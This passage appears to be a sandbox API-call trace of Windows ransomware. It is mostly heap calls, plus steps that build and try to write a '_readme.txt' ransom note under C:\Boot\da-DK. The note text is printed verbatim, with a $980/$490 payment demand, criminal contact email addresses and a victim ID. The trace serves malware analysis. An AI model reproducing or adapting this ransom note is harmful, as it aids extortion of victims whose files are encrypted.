(HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.416] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.416] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.416] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.416] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.416] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.416] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.416] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.416] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.416] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.416] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.416] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.416] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.416] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.416] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.416] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.416] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.416] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.417] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.417] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.417] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.417] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.417] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.417] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.417] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.417] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.417] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.417] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.417] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.417] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.417] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.417] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.417] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.417] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.417] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.417] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.417] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.417] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.417] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.417] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.417] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.417] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.417] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.417] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.417] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.417] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.417] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.417] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.418] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.418] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.418] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.418] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.418] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.418] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.418] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.418] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.418] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.418] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.418] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.418] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.418] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.418] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.418] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.418] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.418] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.418] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.418] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.418] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.418] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.418] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.418] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.418] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.418] PathFindFileNameW (pszPath="C:\\Boot\\da-DK\\") returned="da-DK\\" [0111.418] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0111.418] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.418] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.418] PathFindFileNameW (pszPath="") returned="" [0111.418] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.419] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.419] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.419] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.419] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.419] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.419] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.419] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.419] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x81c) returned 0x7ac3918 [0111.419] PathAppendW (in: pszPath="C:\\Boot\\da-DK\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\da-DK\\_readme.txt") returned 1 [0111.419] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac41a0 [0111.419] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.419] PathFileExistsW (pszPath="C:\\Boot\\da-DK\\_readme.txt") returned 0 [0111.419] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x7d00) returned 0x7b152e0 [0111.419] lstrcpyW (in: lpString1=0x7b152e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.420] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.420] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac4a28 [0111.420] CreateFileW (lpFileName="C:\\Boot\\da-DK\\_readme.txt" (normalized: "c:\\boot\\da-dk\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.420] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac4a28 | out: hHeap=0x5010000) returned 1 [0111.420] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b152e0 | out: hHeap=0x5010000) returned 1 [0111.420] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.420] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.420] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.420] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.420] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.420] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0111.420] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0111.420] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.420] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac41a0 | out: hHeap=0x5010000) returned 1 [0111.420] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c90 | out: hHeap=0x5010000) returned 1 [0111.420] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c90 [0111.420] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.420] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.421] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.421] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.421] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.421] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.421] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.421] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.421] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.421] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.421] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.421] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.421] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.421] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.421] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.421] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.421] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.421] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.421] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.421] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.421] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.421] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.421] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.421] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.421] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.421] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.421] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.421] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.421] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.421] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.421] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.421] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.421] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.422] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.422] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.422] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.422] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.422] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.422] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.422] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.422] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.422] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.422] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.422] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.422] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.422] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.422] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.422] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.422] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.422] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.422] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.422] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.422] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.422] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.422] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.422] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.422] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.422] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.422] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.422] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.422] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.422] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.422] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.422] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.423] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.423] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.423] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.423] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.423] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.423] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.423] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.423] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 